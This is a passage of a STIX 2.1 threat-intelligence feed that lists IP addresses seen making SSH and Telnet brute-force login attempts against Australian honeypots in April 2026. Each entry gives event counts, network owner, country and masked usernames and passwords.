      "created": "2026-04-12T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e866a615-a212-4b50-9366-62ecfb06df53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T11:15:03.000Z",
      "valid_until": "2026-05-14T11:15:01.000Z"
    },
    {
      "created": "2026-04-12T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--0126ca86-05d8-401b-8a6f-3254336f7997",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.80.163.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T11:15:03.000Z",
      "valid_until": "2026-05-14T11:15:01.000Z"
    },
    {
      "created": "2026-04-12T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--d7463f62-be66-4d3f-b672-ddc2bc08e0c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.126.193.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T11:15:03.000Z",
      "valid_until": "2026-05-14T11:15:01.000Z"
    },
    {
      "created": "2026-04-12T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 140641. Organisation(s): YOTTA NETWORK SERVICES PRIVATE LIMITED. Usernames observed (masked): r**t, u****u, 3**********4, f*****r, a****z. Passwords observed (masked): 3***********4, 3**********4, 1******8, 1******q, G***T.",
      "id": "indicator--93e73b7f-aa94-47a3-95b2-a7abdcb73b5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.91.246.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:15:04.000Z",
      "valid_until": "2026-05-14T12:15:01.000Z"
    },
    {
      "created": "2026-04-12T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): p******s. Passwords observed (masked): p***********5.",
      "id": "indicator--886ab8a5-8c5d-40e2-b96d-fa4b5605f80a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.14.237.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:15:04.000Z",
      "valid_until": "2026-05-14T12:15:01.000Z"
    },
    {
      "created": "2026-04-12T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--44a0728d-9343-4827-ad21-f520143763b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.88.98.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:15:04.000Z",
      "valid_until": "2026-05-14T12:15:01.000Z"
    },
    {
      "created": "2026-04-12T12:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--26c487a0-7ac6-41fe-adb0-b1b1bad8c3e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.46.216.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:15:04.000Z",
      "valid_until": "2026-05-14T12:15:01.000Z"
    },
    {
      "created": "2026-04-12T12:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 13351. Organisation(s): Barbourville Utility Commission.",
      "id": "indicator--0bc3f2f7-182f-408a-a295-c287061f5fb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '23.252.134.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:15:04.000Z",
      "valid_until": "2026-05-14T12:15:01.000Z"
    },
    {
      "created": "2026-04-12T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, ***, 3**********4, t*******k. Passwords observed (masked): 3***********4, 3**********4, A***8, Q********6, Q**********4.",
      "id": "indicator--d275096a-5ee7-4450-a38d-7b9c03af3f8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.124.213.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:15:04.000Z",
      "valid_until": "2026-05-14T12:15:01.000Z"
    },
    {
      "created": "2026-04-12T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, e**e. Passwords observed (masked): P**********4, Z******6, e******3, z*******3.",
      "id": "indicator--b25076af-f76b-4c37-a8fe-0384aeca436d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '4.221.162.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:15:04.000Z",
      "valid_until": "2026-05-14T12:15:01.000Z"
    },
    {
      "created": "2026-04-12T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 49218. Organisation(s): Nizhnetagilskie Kompyuternye Seti LLC. Usernames observed (masked): j*****s, 3**********4, m**l, o**r, p******s. Passwords observed (masked): ***, 3***********4, 3**********4, Q********6, o*****3.",
      "id": "indicator--2ac7da47-af7f-4399-a9ab-a5627bcf03e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.165.56.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:15:04.000Z",
      "valid_until": "2026-05-14T12:15:01.000Z"
    },
    {
      "created": "2026-04-12T12:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U****************************************************************************************0. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--8a4d0218-6f8b-460b-88bc-3ccd87cf41f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:15:04.000Z",
      "valid_until": "2026-05-14T12:15:01.000Z"
    },
    {
      "created": "2026-04-12T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc. Usernames observed (masked): r**t. Passwords observed (masked): Q***********@.",
      "id": "indicator--38b95e13-b115-4b2f-83ce-7ab27b533bbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '76.79.213.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:15:04.000Z",
      "valid_until": "2026-05-14T12:15:01.000Z"
    },
    {
      "created": "2026-04-12T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 117. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 213877. Organisation(s): U1 Digital Services Ltd. Usernames observed (masked): r**t, u****u, 3**********4, s***m, t**t. Passwords observed (masked): 3***********4, 3**********4, G***T, Q*********$, T******6.",
      "id": "indicator--9bd95533-5509-4e7c-8f5a-24be7256e2be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.239.101.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:15:04.000Z",
      "valid_until": "2026-05-14T12:15:01.000Z"
    },
    {
      "created": "2026-04-12T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 249. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3209. Organisation(s): Vodafone GmbH. Usernames observed (masked): r**t, f*****r, u****u, 3**********4, s***m. Passwords observed (masked): 3***********4, 3**********4, !*******, 1********d, 1******8.",
      "id": "indicator--1c2d271b-1065-4acf-b8c5-f59b067bd93a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.42.241.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T12:15:04.000Z",
      "valid_until": "2026-05-14T12:15:01.000Z"
    },
    {
      "created": "2026-04-12T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38731. Organisation(s): CHT Compamy Ltd. Usernames observed (masked): r**t, s***m, u****u, 3**********4, a*****r. Passwords observed (masked): 1*******#, 1******x, 2**6, 3***********4, 3**********4.",
      "id": "indicator--6105ad08-3f10-4984-b4e1-6708b40ad265",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.244.61.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T13:15:03.000Z",
      "valid_until": "2026-05-14T13:15:02.000Z"
    },
    {
      "created": "2026-04-12T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, f*****r, o****e, u****u. Passwords observed (masked): 3***********4, 3**********4, ***, 1*****7, 1*******9.",
      "id": "indicator--624fcbd0-50a8-4171-ae08-109de91245dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.211.56.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T13:15:03.000Z",
      "valid_until": "2026-05-14T13:15:02.000Z"
    },
    {
      "created": "2026-04-12T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--ded3971c-7bab-4bfd-ba5e-8f6c5b03d89c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T13:15:03.000Z",
      "valid_until": "2026-05-14T13:15:02.000Z"
    },
    {
      "created": "2026-04-12T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--01455fbf-3b68-433f-871b-b74502b4ae96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T13:15:03.000Z",
      "valid_until": "2026-05-14T13:15:02.000Z"
    },
    {
      "created": "2026-04-12T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--9fa37e43-d99d-4d0a-96ca-67fc8b193db0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T13:15:03.000Z",
      "valid_until": "2026-05-14T13:15:02.000Z"
    },
    {
      "created": "2026-04-12T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0c53a765-dd4c-4e06-ab8e-01c293edd44c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.26.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T13:15:03.000Z",
      "valid_until": "2026-05-14T13:15:02.000Z"
    },
    {
      "created": "2026-04-12T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--c05cc098-909e-4c8a-80c9-07e14b08a4f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.70.139.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T15:15:03.000Z",
      "valid_until": "2026-05-14T15:15:02.000Z"
    },
    {
      "created": "2026-04-12T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, o**o, t**t. Passwords observed (masked): 2**********v, O******3, d***n, u**r.",
      "id": "indicator--e1df1fa4-27d4-4823-8d5f-9f8e6b9f34ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.160.58.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T15:15:03.000Z",
      "valid_until": "2026-05-14T15:15:02.000Z"
    },
    {
      "created": "2026-04-12T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 267843. Organisation(s): TCA SERVICES C.A.. Usernames observed (masked): f****e, t**t, u****u. Passwords observed (masked): f*******!, u***********., u**r.",
      "id": "indicator--4f4fe90d-f920-4d2e-9c2b-bed3c61a4657",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.175.37.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T15:15:03.000Z",
      "valid_until": "2026-05-14T15:15:02.000Z"
    },
    {
      "created": "2026-04-12T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): s****m. Passwords observed (masked): s****m.",
      "id": "indicator--01206613-2730-4b19-84c8-9f8c4f78c756",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '57.128.223.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T15:15:03.000Z",
      "valid_until": "2026-05-14T15:15:02.000Z"
    },
    {
      "created": "2026-04-12T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--49949a80-777f-4eba-ac0f-f2e3a5fc0807",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T15:15:03.000Z",
      "valid_until": "2026-05-14T15:15:02.000Z"
    },
    {
      "created": "2026-04-12T16:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4cf52972-5540-4b78-8819-0e10498ffd67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T16:15:04.000Z",
      "valid_until": "2026-05-14T16:15:02.000Z"
    },
    {
      "created": "2026-04-12T16:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1514. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): r**t, d****y, u****u, d****n, ***. Passwords observed (masked): 1****6, ***, p******d, P******d, 1**4.",
      "id": "indicator--89812556-6510-410d-9137-5c42af85dbcb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.56.100.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T16:15:04.000Z",
      "valid_until": "2026-05-14T16:15:02.000Z"
    },
    {
      "created": "2026-04-12T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--86864448-8651-44c5-af32-da55aa8cc31c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T17:15:03.000Z",
      "valid_until": "2026-05-14T17:15:02.000Z"
    },
    {
      "created": "2026-04-12T18:15:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--fe1e6700-4f45-4906-845d-2cb8675f2de9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T18:15:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.227.169.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T18:15:32.000Z",
      "valid_until": "2026-05-14T18:15:02.000Z"
    },
    {
      "created": "2026-04-12T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--f36bade0-a388-411b-bce1-7be2d18960f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.200.210.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T19:15:03.000Z",
      "valid_until": "2026-05-14T19:15:02.000Z"
    },
    {
      "created": "2026-04-12T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--3aab1d25-b8ff-44ad-b651-36f69625f330",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.43.180.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T19:15:03.000Z",
      "valid_until": "2026-05-14T19:15:02.000Z"
    },
    {
      "created": "2026-04-12T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--3025e2c5-57ee-4117-9bb0-9ea18b7b39d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.1.106.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T19:15:03.000Z",
      "valid_until": "2026-05-14T19:15:02.000Z"
    },
    {
      "created": "2026-04-12T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9381. Organisation(s): HKBN Enterprise Solutions HK Limited. Usernames observed (masked): r**t. Passwords observed (masked): t***e.",
      "id": "indicator--aba76d91-5ee3-4537-82c4-44796da6da07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.255.103.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T19:15:03.000Z",
      "valid_until": "2026-05-14T19:15:02.000Z"
    },
    {
      "created": "2026-04-12T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--c12e3b39-def7-44cf-80f9-0e537ed1e403",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
